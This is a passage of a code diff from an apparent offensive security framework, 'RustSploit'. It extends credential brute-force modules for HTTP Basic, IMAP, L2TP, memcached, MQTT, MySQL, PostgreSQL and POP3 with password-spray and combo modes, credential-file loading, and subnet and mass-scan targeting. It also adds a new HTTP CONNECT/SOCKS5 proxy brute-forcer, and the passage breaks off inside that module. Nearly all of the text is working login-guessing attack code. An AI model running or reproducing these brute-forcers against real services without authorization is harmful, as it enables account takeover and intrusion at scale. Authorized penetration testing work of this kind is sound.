Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => {
|
||||
@@ -384,6 +405,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
delay_ms: 0,
|
||||
max_retries,
|
||||
service_name: "http-basic",
|
||||
jitter_ms: 0,
|
||||
source_module: "creds/generic/http_basic_bruteforce",
|
||||
}, combos, try_login).await?;
|
||||
|
||||
@@ -456,17 +478,11 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
/// Returns Ok(true) on 200 (success), Ok(false) on 401/403 (auth failed),
|
||||
/// Err on connection/protocol errors.
|
||||
async fn try_http_login(
|
||||
client: &reqwest::Client,
|
||||
url: &str,
|
||||
user: &str,
|
||||
pass: &str,
|
||||
timeout_duration: Duration,
|
||||
) -> Result<bool> {
|
||||
let client = reqwest::Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(timeout_duration)
|
||||
.build()
|
||||
.map_err(|e| anyhow!("Failed to build HTTP client: {}", e))?;
|
||||
|
||||
let response = client
|
||||
.get(url)
|
||||
.basic_auth(user, Some(pass))
|
||||
@@ -478,7 +494,19 @@ async fn try_http_login(
|
||||
match status {
|
||||
200..=299 => Ok(true),
|
||||
401 | 403 => Ok(false),
|
||||
301 | 302 | 303 | 307 | 308 => Ok(true), // Redirect after auth = success
|
||||
301 | 302 | 303 | 307 | 308 => {
|
||||
// Only count redirect as success if it doesn't point to a login/auth page
|
||||
if let Some(location) = response.headers().get("location") {
|
||||
let loc = location.to_str().unwrap_or("").to_lowercase();
|
||||
if loc.contains("login") || loc.contains("auth") || loc.contains("signin") || loc.contains("sso") {
|
||||
Ok(false) // Redirect to login page = auth failed
|
||||
} else {
|
||||
Ok(true) // Redirect to non-login page = likely success
|
||||
}
|
||||
} else {
|
||||
Ok(true) // No location header = treat as success
|
||||
}
|
||||
}
|
||||
_ => Err(anyhow!("HTTP {}", status)),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -7,12 +7,13 @@ use std::time::Duration;
|
||||
|
||||
use crate::utils::{
|
||||
load_lines, get_filename_in_current_dir,
|
||||
cfg_prompt_yes_no, cfg_prompt_existing_file, cfg_prompt_int_range,
|
||||
cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_existing_file, cfg_prompt_int_range,
|
||||
cfg_prompt_output_file,
|
||||
};
|
||||
use crate::modules::creds::utils::{
|
||||
BruteforceConfig, LoginResult, SubnetScanConfig,
|
||||
generate_combos, run_bruteforce, run_subnet_bruteforce,
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
run_bruteforce, run_subnet_bruteforce,
|
||||
is_subnet_target, is_mass_scan_target, run_mass_scan, MassScanConfig,
|
||||
backoff_delay,
|
||||
};
|
||||
@@ -247,6 +248,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "imap",
|
||||
jitter_ms: 0,
|
||||
source_module: "creds/generic/imap_bruteforce",
|
||||
skip_tcp_check: false,
|
||||
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
@@ -310,7 +312,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_mode = cfg_prompt_yes_no("combo_mode", "Combination mode? (try every pass with every user)", false).await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
|
||||
crate::mprintln!("\n{}", format!("[*] Starting brute-force on {}:{}", target, port).cyan());
|
||||
|
||||
@@ -355,7 +357,11 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
return Err(anyhow!("No passwords available"));
|
||||
}
|
||||
|
||||
let combos = generate_combos(&usernames, &passwords, combo_mode);
|
||||
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
|
||||
let try_login = move |t: String, p: u16, user: String, pass: String| {
|
||||
async move {
|
||||
@@ -386,6 +392,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
delay_ms: 0,
|
||||
max_retries,
|
||||
service_name: "imap",
|
||||
jitter_ms: 0,
|
||||
source_module: "creds/generic/imap_bruteforce",
|
||||
}, combos, try_login).await?;
|
||||
|
||||
|
||||
@@ -3,7 +3,8 @@ use colored::*;
|
||||
use std::{io::Write, net::UdpSocket, time::Duration};
|
||||
|
||||
use crate::modules::creds::utils::{
|
||||
generate_combos, is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
|
||||
};
|
||||
use crate::utils::{
|
||||
@@ -424,12 +425,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_mode = cfg_prompt_yes_no(
|
||||
"combo_mode",
|
||||
"Combination mode? (try every password with every user)",
|
||||
false,
|
||||
)
|
||||
.await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
|
||||
let normalized = normalize_target(target)?;
|
||||
|
||||
@@ -467,7 +463,11 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
),
|
||||
}
|
||||
|
||||
let combos = generate_combos(&users, &passwords, combo_mode);
|
||||
let mut combos = generate_combos_mode(&users, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
let timeout_duration = Duration::from_millis(timeout_ms);
|
||||
|
||||
crate::mprintln!(
|
||||
@@ -508,6 +508,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
delay_ms: 0,
|
||||
max_retries: 2,
|
||||
service_name: "l2tp",
|
||||
jitter_ms: 0,
|
||||
source_module: "creds/generic/l2tp_bruteforce",
|
||||
},
|
||||
combos,
|
||||
@@ -634,6 +635,7 @@ async fn run_l2tp_subnet_scan(target: &str) -> Result<()> {
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "l2tp",
|
||||
jitter_ms: 0,
|
||||
source_module: "creds/generic/l2tp_bruteforce",
|
||||
skip_tcp_check: true, // L2TP is UDP — no TCP pre-check
|
||||
},
|
||||
|
||||
@@ -3,12 +3,12 @@ use colored::*;
|
||||
use std::{io::Write, net::IpAddr, time::Duration};
|
||||
use tokio::{
|
||||
io::{AsyncReadExt, AsyncWriteExt},
|
||||
net::TcpStream,
|
||||
time::timeout,
|
||||
};
|
||||
|
||||
use crate::modules::creds::utils::{
|
||||
generate_combos, is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
|
||||
};
|
||||
use crate::utils::{
|
||||
@@ -99,8 +99,8 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let read_timeout = Duration::from_secs(3);
|
||||
|
||||
// Try to connect and send version command
|
||||
let mut stream = match timeout(connect_timeout, TcpStream::connect(&addr)).await {
|
||||
Ok(Ok(s)) => s,
|
||||
let mut stream = match crate::utils::network::tcp_connect(&addr, connect_timeout).await {
|
||||
Ok(s) => s,
|
||||
_ => return None,
|
||||
};
|
||||
|
||||
@@ -236,6 +236,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "memcached",
|
||||
jitter_ms: 0,
|
||||
source_module: "creds/generic/memcached_bruteforce",
|
||||
skip_tcp_check: false,
|
||||
},
|
||||
@@ -386,12 +387,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_mode = cfg_prompt_yes_no(
|
||||
"combo_mode",
|
||||
"Combination mode? (try every pass with every user)",
|
||||
false,
|
||||
)
|
||||
.await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
|
||||
// Load wordlists
|
||||
let mut usernames = Vec::new();
|
||||
@@ -447,7 +443,11 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
return Err(anyhow!("No passwords available"));
|
||||
}
|
||||
|
||||
let combos = generate_combos(&usernames, &passwords, combo_mode);
|
||||
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
let ct = Duration::from_secs(connection_timeout);
|
||||
let rt = Duration::from_millis(READ_TIMEOUT_MS);
|
||||
|
||||
@@ -478,6 +478,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
delay_ms: 0,
|
||||
max_retries,
|
||||
service_name: "memcached",
|
||||
jitter_ms: 0,
|
||||
source_module: "creds/generic/memcached_bruteforce",
|
||||
},
|
||||
combos,
|
||||
@@ -572,10 +573,9 @@ async fn check_memcached_open(
|
||||
connect_timeout: Duration,
|
||||
read_timeout: Duration,
|
||||
) -> MemcachedStatus {
|
||||
let mut stream = match timeout(connect_timeout, TcpStream::connect(addr)).await {
|
||||
Ok(Ok(s)) => s,
|
||||
Ok(Err(e)) => return MemcachedStatus::Unreachable(e.to_string()),
|
||||
Err(_) => return MemcachedStatus::Unreachable("Connection timeout".to_string()),
|
||||
let mut stream = match crate::utils::network::tcp_connect(addr, connect_timeout).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => return MemcachedStatus::Unreachable(e.to_string()),
|
||||
};
|
||||
|
||||
// Send text protocol "version" command
|
||||
@@ -678,16 +678,15 @@ async fn try_memcached_sasl(
|
||||
connect_timeout: Duration,
|
||||
read_timeout: Duration,
|
||||
) -> Result<bool> {
|
||||
let mut stream = match timeout(connect_timeout, TcpStream::connect(addr)).await {
|
||||
Ok(Ok(s)) => s,
|
||||
Ok(Err(e)) => {
|
||||
let mut stream = match crate::utils::network::tcp_connect(addr, connect_timeout).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => {
|
||||
let err_str = e.to_string();
|
||||
if err_str.contains("Connection refused") || err_str.contains("connect") {
|
||||
return Err(anyhow!("Connection refused: {}", err_str));
|
||||
}
|
||||
return Err(anyhow!("Connection error: {}", err_str));
|
||||
}
|
||||
Err(_) => return Err(anyhow!("Connection timeout")),
|
||||
};
|
||||
|
||||
let packet = build_sasl_auth_packet(username, password);
|
||||
|
||||
@@ -25,3 +25,4 @@
|
||||
pub mod elasticsearch_bruteforce;
|
||||
pub mod couchdb_bruteforce;
|
||||
pub mod memcached_bruteforce;
|
||||
pub mod proxy_bruteforce;
|
||||
|
||||
@@ -13,10 +13,10 @@ use std::io::Write;
|
||||
use std::net::IpAddr;
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncRead, AsyncReadExt, AsyncWrite, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
|
||||
use crate::modules::creds::utils::{
|
||||
generate_combos, is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
|
||||
};
|
||||
use crate::utils::{
|
||||
@@ -244,6 +244,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "mqtt",
|
||||
jitter_ms: 0,
|
||||
source_module: "creds/generic/mqtt_bruteforce",
|
||||
skip_tcp_check: false,
|
||||
},
|
||||
@@ -325,8 +326,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false).await?;
|
||||
|
||||
// Combo mode
|
||||
let combo_mode =
|
||||
cfg_prompt_yes_no("combo_mode", "Full combination mode (user x pass)?", false).await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
|
||||
// Load wordlists
|
||||
let usernames = load_lines(&username_wordlist)?;
|
||||
@@ -397,7 +397,11 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
|
||||
// Generate credential combos
|
||||
let combos = generate_combos(&usernames, &passwords, combo_mode);
|
||||
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
|
||||
// Build the try_login closure capturing MQTT-specific config
|
||||
let try_login = move |_target: String, _port: u16, user: String, pass: String| {
|
||||
@@ -429,6 +433,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
delay_ms: 0,
|
||||
max_retries: 3,
|
||||
service_name: "mqtt",
|
||||
jitter_ms: 0,
|
||||
source_module: "creds/generic/mqtt_bruteforce",
|
||||
},
|
||||
combos,
|
||||
@@ -536,15 +541,9 @@ async fn try_mqtt_auth(
|
||||
use_tls: bool,
|
||||
) -> AttackResult {
|
||||
// Connect with timeout
|
||||
let stream = match tokio::time::timeout(
|
||||
Duration::from_millis(MQTT_CONNECT_TIMEOUT_MS),
|
||||
TcpStream::connect(addr),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(s)) => s,
|
||||
Ok(Err(e)) => return AttackResult::ConnectionError(e.to_string()),
|
||||
Err(_) => return AttackResult::ConnectionError("Connection timeout".to_string()),
|
||||
let stream = match crate::utils::network::tcp_connect(addr, Duration::from_millis(MQTT_CONNECT_TIMEOUT_MS)).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => return AttackResult::ConnectionError(e.to_string()),
|
||||
};
|
||||
|
||||
if use_tls {
|
||||
|
||||
@@ -20,7 +20,8 @@ use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
|
||||
use crate::modules::creds::utils::{
|
||||
generate_combos, is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
|
||||
};
|
||||
use crate::utils::{
|
||||
@@ -168,6 +169,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "mysql",
|
||||
jitter_ms: 0,
|
||||
source_module: "creds/generic/mysql_bruteforce",
|
||||
skip_tcp_check: false,
|
||||
},
|
||||
@@ -232,12 +234,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_mode = cfg_prompt_yes_no(
|
||||
"combo_mode",
|
||||
"Combination mode? (try every pass with every user)",
|
||||
false,
|
||||
)
|
||||
.await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
|
||||
let retry_on_error =
|
||||
cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
|
||||
@@ -298,7 +295,11 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
return Err(anyhow!("No passwords available"));
|
||||
}
|
||||
|
||||
let combos = generate_combos(&usernames, &passwords, combo_mode);
|
||||
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
|
||||
crate::mprintln!(
|
||||
"\n{}",
|
||||
@@ -339,6 +340,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
delay_ms: 0,
|
||||
max_retries,
|
||||
service_name: "mysql",
|
||||
jitter_ms: 0,
|
||||
source_module: "creds/generic/mysql_bruteforce",
|
||||
},
|
||||
combos,
|
||||
@@ -661,15 +663,9 @@ fn build_handshake_response(username: &str, auth_response: &[u8], database: &str
|
||||
/// Attempt MySQL authentication against a target address.
|
||||
async fn try_mysql_auth(addr: &str, username: &str, password: &str) -> MysqlResult {
|
||||
// TCP connect with timeout
|
||||
let mut stream = match tokio::time::timeout(
|
||||
Duration::from_millis(CONNECT_TIMEOUT_MS),
|
||||
TcpStream::connect(addr),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(s)) => s,
|
||||
Ok(Err(e)) => return MysqlResult::ConnectionError(format!("Connect failed: {}", e)),
|
||||
Err(_) => return MysqlResult::ConnectionError("Connection timeout".to_string()),
|
||||
let mut stream = match crate::utils::network::tcp_connect(addr, Duration::from_millis(CONNECT_TIMEOUT_MS)).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => return MysqlResult::ConnectionError(format!("Connect failed: {}", e)),
|
||||
};
|
||||
|
||||
// Read server greeting (HandshakeV10)
|
||||
|
||||
@@ -6,11 +6,12 @@ use std::time::Duration;
|
||||
|
||||
use crate::utils::{
|
||||
load_lines,
|
||||
cfg_prompt_yes_no, cfg_prompt_existing_file, cfg_prompt_int_range, cfg_prompt_output_file,
|
||||
cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_existing_file, cfg_prompt_int_range, cfg_prompt_output_file,
|
||||
};
|
||||
use crate::modules::creds::utils::{
|
||||
BruteforceConfig, LoginResult, SubnetScanConfig,
|
||||
generate_combos, run_bruteforce, run_subnet_bruteforce,
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
run_bruteforce, run_subnet_bruteforce,
|
||||
is_subnet_target, is_mass_scan_target, run_mass_scan, MassScanConfig,
|
||||
backoff_delay,
|
||||
};
|
||||
@@ -212,6 +213,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "pop3",
|
||||
jitter_ms: 0,
|
||||
source_module: "creds/generic/pop3_bruteforce",
|
||||
skip_tcp_check: false,
|
||||
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
@@ -248,7 +250,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let delay_ms = cfg_prompt_int_range("delay_ms", "Delay (ms)", 50, 0, 10000).await? as u64;
|
||||
let connection_timeout = cfg_prompt_int_range("timeout", "Timeout (s)", 5, 1, 60).await? as u64;
|
||||
|
||||
let full_combo = cfg_prompt_yes_no("combo_mode", "Try every username with every password?", false).await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first valid login?", false).await?;
|
||||
|
||||
let output_file = cfg_prompt_output_file("output_file", "Output file for results", "pop3_results.txt").await?;
|
||||
@@ -269,7 +271,11 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
crate::mprintln!("[*] Loaded {} usernames, {} passwords", usernames.len(), passwords.len());
|
||||
|
||||
let combos = generate_combos(&usernames, &passwords, full_combo);
|
||||
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", "[Starting Attack]".bold().yellow());
|
||||
@@ -304,6 +310,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
delay_ms,
|
||||
max_retries,
|
||||
service_name: "pop3",
|
||||
jitter_ms: 0,
|
||||
source_module: "creds/generic/pop3_bruteforce",
|
||||
}, combos, try_login).await?;
|
||||
|
||||
@@ -334,7 +341,7 @@ fn pop3_authenticate(stream: &mut (impl std::io::Read + std::io::Write), user: &
|
||||
let n = stream.read(&mut buffer).map_err(|e| Pop3Error::from_anyhow(e.into()))?;
|
||||
if String::from_utf8_lossy(&buffer[..n]).starts_with("+OK") {
|
||||
if let Err(e) = stream.write_all(b"QUIT\r\n") { crate::meprintln!("[!] POP3 QUIT write error: {}", e); }
|
||||
if let Err(e) = stream.flush() { eprintln!("[!] Flush error: {}", e); }
|
||||
if let Err(e) = stream.flush() { crate::meprintln!("[!] Flush error: {}", e); }
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
|
||||
@@ -21,7 +21,8 @@ use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
|
||||
use crate::modules::creds::utils::{
|
||||
generate_combos, is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
|
||||
};
|
||||
use crate::utils::{
|
||||
@@ -164,6 +165,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "postgresql",
|
||||
jitter_ms: 0,
|
||||
source_module: "creds/generic/postgres_bruteforce",
|
||||
skip_tcp_check: false,
|
||||
},
|
||||
@@ -234,12 +236,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_mode = cfg_prompt_yes_no(
|
||||
"combo_mode",
|
||||
"Combination mode? (try every pass with every user)",
|
||||
false,
|
||||
)
|
||||
.await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
|
||||
let retry_on_error =
|
||||
cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
|
||||
@@ -304,7 +301,11 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
return Err(anyhow!("No passwords available"));
|
||||
}
|
||||
|
||||
let combos = generate_combos(&usernames, &passwords, combo_mode);
|
||||
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
|
||||
crate::mprintln!(
|
||||
"\n{}",
|
||||
@@ -349,6 +350,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
delay_ms: 0,
|
||||
max_retries,
|
||||
service_name: "postgresql",
|
||||
jitter_ms: 0,
|
||||
source_module: "creds/generic/postgres_bruteforce",
|
||||
},
|
||||
combos,
|
||||
@@ -546,15 +548,9 @@ async fn read_pg_message(stream: &mut TcpStream) -> Result<(u8, Vec<u8>)> {
|
||||
/// Attempt PostgreSQL authentication against a target address.
|
||||
async fn try_pg_auth(addr: &str, username: &str, password: &str, database: &str) -> PgResult {
|
||||
// TCP connect with timeout
|
||||
let mut stream = match tokio::time::timeout(
|
||||
Duration::from_millis(CONNECT_TIMEOUT_MS),
|
||||
TcpStream::connect(addr),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(s)) => s,
|
||||
Ok(Err(e)) => return PgResult::ConnectionError(format!("Connect failed: {}", e)),
|
||||
Err(_) => return PgResult::ConnectionError("Connection timeout".to_string()),
|
||||
let mut stream = match crate::utils::network::tcp_connect(addr, Duration::from_millis(CONNECT_TIMEOUT_MS)).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => return PgResult::ConnectionError(format!("Connect failed: {}", e)),
|
||||
};
|
||||
|
||||
// Send StartupMessage
|
||||
|
||||
@@ -0,0 +1,381 @@
|
||||
//! Proxy Authentication Bruteforce Module
|
||||
//!
|
||||
//! Bruteforces authenticated proxies: HTTP CONNECT (Basic/Digest),
|
||||
//! SOCKS5 username/password, and HTTP forward proxies.
|
||||
//!
|
||||
//! FOR AUTHORIZED PENETRATION TESTING ONLY.
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use std::net::IpAddr;
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
use base64::Engine as _;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
|
||||
use crate::utils::{
|
||||
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_int_range,
|
||||
cfg_prompt_output_file, cfg_prompt_port, cfg_prompt_yes_no,
|
||||
load_lines, normalize_target,
|
||||
};
|
||||
use crate::modules::creds::utils::{
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
BruteforceConfig, LoginResult, SubnetScanConfig,
|
||||
run_bruteforce, run_subnet_bruteforce,
|
||||
is_mass_scan_target, is_subnet_target, run_mass_scan, MassScanConfig,
|
||||
};
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "Proxy Bruteforce".to_string(),
|
||||
description: "Bruteforces proxy authentication for HTTP CONNECT (Basic auth), SOCKS5 (username/password), and HTTP forward proxies. Supports combo, spray, and credential file modes.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// PROXY AUTH TYPES
|
||||
// ============================================================================
|
||||
|
||||
#[derive(Clone, Copy, Debug)]
|
||||
enum ProxyType {
|
||||
HttpConnect,
|
||||
Socks5,
|
||||
HttpForward,
|
||||
}
|
||||
|
||||
impl ProxyType {
|
||||
fn from_str(s: &str) -> Self {
|
||||
match s.trim().to_lowercase().as_str() {
|
||||
"socks5" | "socks" => Self::Socks5,
|
||||
"http_forward" | "forward" | "transparent" => Self::HttpForward,
|
||||
_ => Self::HttpConnect,
|
||||
}
|
||||
}
|
||||
|
||||
fn name(&self) -> &'static str {
|
||||
match self {
|
||||
Self::HttpConnect => "HTTP CONNECT",
|
||||
Self::Socks5 => "SOCKS5",
|
||||
Self::HttpForward => "HTTP Forward",
|
||||
}
|
||||
}
|
||||
|
||||
fn default_port(&self) -> u16 {
|
||||
match self {
|
||||
Self::HttpConnect => 8080,
|
||||
Self::Socks5 => 1080,
|
||||
Self::HttpForward => 3128,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// AUTH ATTEMPTS
|
||||
// ============================================================================
|
||||
|
||||
/// Try HTTP CONNECT proxy with Basic auth.
|
||||
async fn try_http_connect_auth(
|
||||
target: &str, port: u16, user: &str, pass: &str, timeout_ms: u64,
|
||||
) -> LoginResult {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let dur = Duration::from_millis(timeout_ms);
|
||||
|
||||
let stream = match crate::utils::network::tcp_connect(&addr, dur).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => return LoginResult::Error { message: e.to_string(), retryable: true },
|
||||
};
|
||||
let mut stream = stream;
|
||||
|
||||
// Basic auth header
|
||||
let cred = base64::engine::general_purpose::STANDARD.encode(format!("{}:{}", user, pass));
|
||||
let req = format!(
|
||||
"CONNECT httpbin.org:80 HTTP/1.1\r\nHost: httpbin.org\r\nProxy-Authorization: Basic {}\r\n\r\n",
|
||||
cred
|
||||
);
|
||||
|
||||
if let Err(e) = tokio::time::timeout(dur, stream.write_all(req.as_bytes())).await {
|
||||
return LoginResult::Error { message: format!("Write timeout: {}", e), retryable: true };
|
||||
}
|
||||
|
||||
let mut buf = [0u8; 1024];
|
||||
let n = match tokio::time::timeout(dur, stream.read(&mut buf)).await {
|
||||
Ok(Ok(n)) if n > 0 => n,
|
||||
Ok(Ok(_)) => return LoginResult::Error { message: "Empty response".to_string(), retryable: false },
|
||||
Ok(Err(e)) => return LoginResult::Error { message: e.to_string(), retryable: true },
|
||||
Err(_) => return LoginResult::Error { message: "Read timeout".to_string(), retryable: true },
|
||||
};
|
||||
|
||||
let resp = String::from_utf8_lossy(&buf[..n]);
|
||||
if resp.contains("200") {
|
||||
LoginResult::Success
|
||||
} else if resp.contains("407") || resp.contains("401") || resp.contains("403") {
|
||||
LoginResult::AuthFailed
|
||||
} else {
|
||||
LoginResult::Error { message: format!("Unexpected: {}", resp.lines().next().unwrap_or("")), retryable: false }
|
||||
}
|
||||
}
|
||||
|
||||
/// Try SOCKS5 proxy with username/password auth (RFC 1929).
|
||||
async fn try_socks5_auth(
|
||||
